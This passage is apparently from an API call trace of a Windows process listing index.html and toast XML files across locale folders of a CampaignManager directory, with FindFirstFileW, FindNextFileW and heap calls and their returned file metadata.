ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.153] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.154] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.154] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0184.154] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.261] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.261] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.261] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.261] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.261] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.262] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.262] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.263] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0184.263] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.447] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.462] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xac78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.462] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.462] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.462] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.462] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.462] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.464] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.464] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0184.464] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.465] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.465] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x98b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.465] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.465] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.465] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.466] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.466] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.466] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.467] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0184.467] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.468] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.468] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa80d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.468] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.468] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.468] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.468] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.468] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.469] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.469] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.469] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is-IS", cAlternateFileName="")) returned 1 [0184.469] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484bd8 [0184.470] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.470] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, 